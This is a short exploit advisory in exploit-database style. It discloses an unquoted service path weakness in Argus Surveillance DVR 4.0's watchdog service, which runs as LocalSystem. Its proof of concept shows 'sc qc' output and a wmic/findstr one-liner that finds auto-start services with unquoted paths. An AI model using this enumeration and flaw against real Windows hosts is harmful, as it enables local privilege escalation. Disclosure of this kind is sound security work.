# Exploit Title: Argus Surveillance DVR 4.0 - Unquoted Service Path # Exploit Author: Salman Asad (@deathflash1411, salman@defmax.io) # Date: 03.09.2021 # Version: Argus Surveillance DVR 4.0 # Tested on: Windows 10 # Note: "Start as service on Windows Startup" must be enabled in Program Options # Proof of Concept: C:\Users\death>sc qc ARGUSSURVEILLANCEDVR_WATCHDOG [SC] QueryServiceConfig SUCCESS SERVICE_NAME: ARGUSSURVEILLANCEDVR_WATCHDOG TYPE : 110 WIN32_OWN_PROCESS (interactive) START_TYPE : 2 AUTO_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : C:\Program Files\Argus Surveillance DVR\DVRWatchdog.exe LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : Argus Surveillance DVR Watchdog DEPENDENCIES : SERVICE_START_NAME : LocalSystem C:\Users\death>cmd /c wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """ Argus Surveillance DVR Watchdog ARGUSSURVEILLANCEDVR_WATCHDOG C:\Program Files\Argus Surveillance DVR\DVRWatchdog.exe Auto